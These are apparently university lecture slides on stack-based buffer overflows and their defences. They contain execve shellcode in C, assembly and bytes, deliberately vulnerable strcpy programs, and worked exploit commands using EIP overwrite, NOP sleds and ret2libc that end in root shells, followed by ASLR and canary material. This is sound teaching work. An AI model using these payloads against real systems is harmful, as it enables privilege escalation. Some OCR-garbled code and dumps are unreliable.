# Stack Based Buffer Overflows and Protection Mechanisms.

Software Security January 2008

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


- Buffer Overflow Introduction
- What is a buffer overflow?
- What is a ShellCode?
- Exploitation
- ASLR Address Space Layout Randomization
- Non-Executable Stack
- Canaries

#### **Part One**

#### What Is a Buffer Overflow ???


- A class of vulnerability caused by a bug in application
- Most bugs in the 90's and early 00's were buffer overflows
- May be exploited by attacker to gain control of the system






- Buffer Overflow is a program condition where data is written past allocated buffer (e.g. a string buffer)
- Data copied past allocated buffer affects other bits of the program
- Buffer Overflow may occur on stack or heap portion of memory
- We are only concern with stack overflows
- Not All Overflows are exploitable


- Stack is a LIFO Data Structure
- New stack frame is Created every function Call (runtime)
- Execution is continued at Return Address after function completion
- On x86 Stack grows upwards while Memory
   Addressing grows
   Downwards



./demo1 AAAAAAAA BBBBBBBBB



#### ./demo1 AAAAAAAA BBBBBBBBBBBBBBB





wargame:/demo#./demo1 `perl -e 'print ''B''.'' ''.''A''x20 .''A''x8'` Your name is: AAAAAAAAAAAAAAAAA Your surname is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault (core dumped)

wargame:/demo# gdb -c core

GNU gdb 6.4.90-debian

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
(no debugging symbols found)

Using host libthread\_db library "/lib/tls/i686/cmov/libthread\_db.so.1".

Core was generated by `./demo1 B AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.

Program terminated with signal 11, Segmentation fault.

#0 0x41414141 in ?? ()



- Instead of breaking the program attacker wants to take control
- ShellCode is the code that is executed upon successful attack
- Performs specific tasks, such as shell execution (hence ShellCode), connect to attacker controlled host, log deletion etc.
- Restricted in size
- Usually must not contain null byte
- Written in Assembly
- Architecture specific

#### Simple ShellCode executes shell

#### /\*

```
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Royal Holloway
Ref: Aleph1, Phrack49
shell.c
*/
```

```
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
```

```
int main() {
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}
```

; Software Security - January 2008 ; Royal Holloway : shell1.asm ; execve(const char \*filename, char \*const argv [], char \*const envp[]) mov eax, 0x0 mov ebx, 0x0 mov ecx, 0x0 mov edx, 0x0 push eax ; push 4 zeroes push 0x68732f2f ; push "//sh" on stack push Ox6e69622f ; push "/bin" to the stack mov ebx, esp ; put the address of "/bin//sh" to ebx push eax ; push 4 nulls on stack push ebx ; push //bin/sh on stack ; create ecx mov ecx, esp

; put execve syscall into eax

; call the kernel to make the syscall happen

mov eax, 11

int 0x80

wargame:/demo# nasm -f elf shell1.asm wargame:/demo# ld shell1.o ld: warning: cannot find entry symbol \_start; defaulting to 0000000080 wargame:/demo# ./a.out sh-3.1#



- There are null bytes in this ShellCode
- Null Byte is a terminating character in C-string
- Use simple logic; XOR anything by itself results in false

wargame:/demo# objdump -M intel -d shell1.

shell1.o: file format elf32-i386

Disassembly of section .text:

00000000 < text>:

b8 00 00 00 00 00	mov	eax,0x0
bb 00 00 00 00 00	mov	ebx,0x0
b9 00 00 00 00	mov	ecx,0x0
ba 00 00 00 00	mov	edx,0x0
50	push	eax
58 2f 2f 73 68	push	0x68732f2f
58 2f 62 69 6e	push	0x6e69622f
39 e3	mov	ebx,esp
50	push	eax
53	push	ebx
39 el	mov	ecx,esp
o8 0b 00 00 00 d0 8c	mov	eax,0xb
cd 80	int (	0x80
	ob 00 00 00 00 o9 00 00 00 00 oa 00 00 00 00 o6 38 2f 2f 73 68 38 2f 62 69 6e 39 e3 50 53 59 e1 58 0b 00 00 00	bb 00 00 00 00       mov         bb 00 00 00       mov

```
; Software Security - January 2008
; Royal Holloway
: shellcode.asm
; execve(const char *filename, char *const argv [], char *const envp[])
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
push eax
               ; push 4 zeroes
push 0x68732f2f ; push "//sh" on stack
                ; push "/bin" to the stack
push Ox6e69622f
mov ebx, esp
                 ; put the address of "/bin//sh" to ebx
push eax
                 ; push 4 nulls on stack
                 ; push //bin/sh on stack
push ebx
mov ecx, esp
               ; create ecx
mov al, 11
                 ; put execve syscall into eax
int 0x80
                  ; call the kernel to make the syscall happen
```



wargame:/demo# objdump -M intel -d shellcode.o


shellcode.o: file format elf32-i386

Disassembly of section .text:

00000000 < .text>:


0:	31 c0	xor	eax,eax
2:	31 db	xor	ebx,ebx
4:	31 c9	xor	ecx,ecx
6:	31 d2	xor	edx,edx
8:	50	push	eax
9:	68 2f 2f 73 68	push	0x68732f2f
e:	68 2f 62 69 6e	push	0x6e69622f
13:	89 e3	mov	ebx,esp
15:	50	push	eax
16:	53	push	ebx
17:	89 el	mov	ecx,esp
19:	b0 0b	mov	al,0xb
1b:	cd 80	int	0x80

perl -e 'print "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80''' > shellcode.bin






- IDS/IPS may filter ShellCode
- Alpha Numeric ShellCodes
- ShellCode encoders
- MosDef (Immunity)
- Core Impact



- Attacker may exploit a vulnerable program to escalate privileges
- Linux Multiuser Operating System
- Suid bit



```
/ *
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demo2.c
*/
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
int func(char *input){
        char c[128];
        strcpy(c, input);
        return 0;
int main(int argc, char *argv[]){
        if(argc != 2){
                printf("%s %s %s\n","Usage: ", argv[0], "<string>");
                exit (-1);
        ł
        func(argv[1]);
        return 0;
}
```

wargame:/demo# ./demo2 `perl -e 'print "A"x136'`

Segmentation fault (core dumped)

wargame:/demo# gdb -c core

GNU gdb 6.4.90-debian

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
(no debugging symbols found)

```
#0 0x41414141 in ?? ()
```

(gdb) :q

Undefined command: "". Try "help".

- We are now going to construct a buffer with our ShellCode, so it can be referenced by a program
- We will then find location of our ShellCode
- Redirect EIP





We will assign:

- 8 bytes for Identifyer
- 29 bytes for shellcode
- 95 bytes for for garbage
- 4 bytes for redirecting eip to address of our choice

wargame:/demo# gdb ./demo2

GNU gdb 6.4.90-debian

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This GDB was configured as "i486-linux-gnu"...Using host libthread\_db library "/lib/tls/i686/cmov/libthread\_db.so.1".

(gdb) disas func

Dump of assembler code for function func:

0x080483c4 <func+0>: push %ebp

0x080483c5 < func+1>: mov %esp,%ebp

0x080483c7 <func+3>: sub \$0x88,%esp

0x080483cd <func+9>: mov 0x8(%ebp),%eax

0x080483d0 < func+12>: mov %eax,0x4(%esp)

0x080483d4 <func+16>: lea 0xffffff80(%ebp),%eax

0x080483d7 <func+19>: mov %eax,(%esp)

0x080483da <func+22>: call 0x8048308 <strcpy@plt>

0x080483df <func+27>: mov \$0x0,%eax

0x080483e4 <func+32>: leave

0x080483e5 <func+33>: ret

End of assembler dump.



(gdb) b \*0x080483df Breakpoint 1 at 0x80483df (gdb) r`perl -e 'print "B"x8';cat shellcode.bin;perl -e 'print "A"x95 ."CCCC"'` Starting program: /demo/demo2 `perl -e 'print "B"x8';cat shellcode.bin;perl -e 'print "A"x95 ."CCCC"'` Failed to read a valid object file image from memory.

Breakpoint 1, 0x080483df in func ()

(gdb) x/20x \$esp

0xbffff900:	0xbffff908	0xbffffb47	0x42424242	0x42424242
0xbffff910:	0xdb31c031	0xd231c93	31 0x2f2f685	50 0x2f686873
0xbffff920:	0x896e6962	0x895350	e3 0xcd0bb	0el 0x41414180
0xbffff930:	0x41414141	0x414141	41 0x41414	141 0x41414141
0xbffff940:	0x41414141	0x414141	41 0x41414	141 0x41414141

wargame:/demo# ./demo2 `perl -e 'print "B"x8';cat shellcode.bin;perl -e 'print "A"x95 ."\x10\xf9\xff\xbf"'` sh-3.1# id uid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=20(dialout),24(cdrom),25(floppy),29(audio),44(

#### Problems Matching Memory Address

- Time Consuming
- Very Unreliable
- ShellCode may change location depending on platform, current environment or even bad weather condition
- Looking for exact memory location is boring



#### NOP (No Operation) Sled

- NOP is a special instruction that is not doing anything
- Used by compilers etc
- We can use NOP Sled in order to increase the memory range we need to hit
- We will be using the most common No Operation instruction 0x90

We will do the following:

- 100 Bytes Nops
- 29 Bytes Shell Code
- 3 Bytes Garbage
- 4 Bytes Memory Address

user@wargame:/demo\$ gdb ./demo2

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- welcome to change it and/or distribute copies of it under certain conditions.
- Type "show copying" to see the conditions.
- There is absolutely no warranty for GDB. Type "show warranty" for details.
- This GDB was configured as "i486-linux-gnu"...Using host libthread\_db library "/lib/tls/i686/cmov/libthread\_db.so.1".


(gdb) r`perl -e 'print "\x90"x100';cat shellcode.bin;perl -e 'print "A"x3 ."CCCC"'` Starting program: /demo/demo2 `perl -e 'print "\x90"x100';cat shellcode.bin;perl -e 'print "A"x3 ."CCCC"'`

Program received signal SIGSEGV, Segmentation fault. 0x43434343 in ?? ()


(qdb) x/150x \$esp 0xbffff9b0: 0xbffffa54 0xbffff9d8 0x080484c9 0xbffffb00 0xbffff9c0: 0xbffff9e0 0xbffff9e0 0xbffffa28 0xb7ec7ea8 0xbffff9d0: 0xbffffa28 0x00000000 0xb8000cc0 0xb7ec7ea8 0xbffff9e0: 0xbffffa54 0xbffffa60 0x00000002 0x00000000 0xbffff9f0: 0xb7fdfff4 0x00000000 0xb8000cc0 0xbffffa28 0xbffffa00: 0xbffff9e0 0xb7ec7e6d 0x00000000 0x00000000 0xbffffa10: 0x00000000 0xb7ff6090 0xb7ec7ded 0xb8000ff4 0xbffffa20: 0x0000002 0x08048320 0x00000000 0x08048341 0xbffffa30: 0x080483e6 0x00000002 0xbffffa54 0x080484b0 0xbffffa40: 0x08048460 0xb7ff6c40 0xbffffa4c 0xb80014e4 0xbffffa50: 0x0000002 0xbffffb58 0xbffffb64 0x00000000 0xbffffa60: 0xbffffbed 0xbffffbfd 0xbffffc08 0xbffffc28 0xbffffa70: 0xbffffc3b 0xbffffc45 0xbffffec0 0xbffffecc 0xbffffef9 0xbffffa80: 0xbfffff0d 0xbfffff1c 0xbfffff26 0xbfffff37 0xbffffa90: 0xbfffff40 0xbfffff57 0xbfffff67 0xbfffffce 0xbffffaa0: 0xbfffff6f 0xbfffff7c 0xbfffffae 0xb7fea400 0xbffffab0: 0x00000000 0x00000020 0x00000021 0xbffffac0: 0xffffe000 0x00000010 0x0febfbff 0x0000006 Oxbffffad0: 0x00001000 0x00000011 0x00000064 0x0000003 Oxbffffae0: 0x08048034 0x00000004 0x0000020 0x00000005 Oxbffffaf0: 0x00000007 0x00000007 0xb7feb000 0x0000008 0xbffffb00: 0x00000000 0x0000009 0x08048320 0x0000000b Oxbffffb10: 0x000003e8 0x000000c 0x000003e8 0x000000d 0xbffffb20: 0x000003e8 0x0000000e 0x000003e8 0x00000017 0xbffffb30: 0xbffffb4b 0x00000000 0x0000000f 0x00000000 0xbffffb40: 0x00000000 0x00000000 0x69000000 0x00363836 0xbffffb50: 0x00000000 0x00000000 0x6d65642f 0x65642f6f 0xbffffb60: 0x00326f6d 0x90909090 0x90909090 0x90909090 0xbffffb70: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffb80: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffb90: 0x90909090 0x90909090 0x90909090 0x90909090 Oxbffffba0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffbb0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffbc0: 0x90909090 0x90909090 0xdb31c031 0xd231c931

27

user@wargame:/demo\$ ./demo2 `perl -e 'print "\x90"x100';cat shellcode.bin;perl -e 'print "A"x3 ."\x70\xfb\xff\xbf"'` sh-3.1# exit user@wargame:/demo\$ ./demo2 `perl -e 'print "\x90"x100';cat shellcode.bin;perl -e 'print "A"x3 ."\x80\xfb\xff\xbf"'` sh-3.1# exit user@wargame:/demo\$ ./demo2 `perl -e 'print "\x90"x100';cat shellcode.bin;perl -e 'print "A"x3 ."\x8c\xfb\xff\xbf"'` sh-3.1# exit user@wargame:/demo\$ ./demo2 `perl -e 'print "\x90"x100';cat shellcode.bin;perl -e 'print "A"x3 ."\x8c\xfb\xff\xbf"'` sh-3.1# exit




- There are many other techniques for exploitation
- ShellCode may be put in evnironment, argv[0], other places within a program
- Exploit writers should construct a reliable environment
- One mistake may lead to a program crash, BoF exploits are rarely used by consultants








- Buffer Overflow existed for a while
- There are many techniques developed to prevent exploitation of buffer overflows
- Most can be defeated, however a combination of protection mechanisms provides a reasonable security





- Address Space Layout Randomization
  - First implemented in PaX for Linux in 2001
  - If library addresses, stack, heap etc are ALL randomized an attacker wouldn't know where to redirect the execution
  - All binaries must be recompiled as relocatable objects
  - Can read more at http://pax.grsecurity.net/docs/





#### It is not perfect

- Not Everything is randomized (binaries are not recompiled by most distributions)
- Return to Code (within programs) is possible
- Possible to brute-force if using NOP is an option
- Forked processes use the same layout as host process
- http://www.stanford.edu/~blp/papers/asrandom.pdf


#### **ASLR**

```
/ *
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aslr.c
*/
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
int func(char *input){
        char c[1024];
        strepy(c, input);
        return 0;
}
int main(int argc, char *argv[]){
        if(argc != 2){
                printf("%s %s %s\n","Usage: ", argv[0], "<string>");
                exit (-1);
        ł
        func(argv[1]);
        return 0;
```

- Exploitation of most buffer overflow attacks relied on loading ShellCode to stack (as we did before) and redirect execution to it
- Non-Executable stack renders this technique useless, since the data on stack cannot be executed
- Implemented in most operating systems
   Initially implemented as a kernel patch for Solaris 2.4/2.5 in 1996

- Soon after release many techniques appeared to bypass Non-Executable Stack protection
- Most rely on the fact that code can be executed anywhere else apart from stack
- Initially attacks were implemented as ret2libc with more techniques appearing later

- By itself easily defeated
- However in combination with ASLR will provide a strong defense layer
- ASLR is often regarded as Non-Executable Stack protection





user@wargame:/demo\$ gdb -q demo2 Using host libthread\_db library "/lib/tls/i686/cmov/libthread\_db.so.1". (gdb) break main Breakpoint 1 at 0x80483f4 (gdb) r Starting program: /demo/demo2

Breakpoint 1, 0x080483f4 in main () (gdb) p system \$1 = {<text variable, no debug info> } 0xb7ee8990 <system>

Address of system() is 0xb7ee8990

(gdb) x/s 0xbfffbed 0xbfffbed: "SHELL=/bin/bash" (gdb) x/s 0xbfffbf3 0xbfffbf3: "/bin/bash"

(gdb) p exit \$1 = {<text variable, no debug info> } 0xb7ede2e0 <exit>

We now have most of what we need and just need to find /bin/sh.

(gdb) x/s 0xbfffbed 0xbfffbed: "SHELL=/bin/sh" (gdb) x/s 0xbfffbf3 0xbfffbf3: "/bin/sh"

Now we should construct the exploiting string:

sh-3.1\$ ./demo2 `perl -e 'print "A"x132 ."\x90\x89\xee\xb7ABCD\xf3\xfb\xff\xbf"'` sh: ���ABCD��@: command not found Segmentation fault

It looks like the gdb environment is different from our shell and "/bin/sh" moved. After several more attempts:


user@wargame:/demo\$ ./demo2 `perl -e 'print "A"x132 ."\x90\x89\xee\xb7\xe0\xe2\xed\xb7\x11\xfc\xff\xbf"'` sh-3.1# id uid=1000(user) aid=1000(user) euid=0(root) eaid=0(root)

#### Canaries

- Places a value (4 bytes) between program data and control data
- Commonly exploitation of stack buffer overflow involves overwriting return address
   If Return address is
  - overwritten so is

canary

If canary Does not match program is terminated





- Stack Guard (0x000aff0d)
- 0x00 Terminates execution of strcpy()
- Ox0a Terminates execution of gets()
- This time of canary is called "Terminator canary"
- Other canaries exist, such as NULL canary 0x00000000 and random XOR canary, which is randomly XORed against return address, however only the terminator is currently used



- It seems that it's not possible to overwrite a return address in usual way
- However local variables are not protected
- Saved Frame Pointer is not protected
- Program may be modified in any way until the function returns





- Number of attacks are possible
- Under some condition, where attacker has unlimited control to memory of the process a GOT table entries may be overwritten
- Relocation of local variables by pointing callers frame to GOT





- Stack Protection techniques exist
- Most are effective when supported by other protection methods
- Stack Overflow exploitation is significantly more difficult (But not impossible)
- Shift is towards web application hacking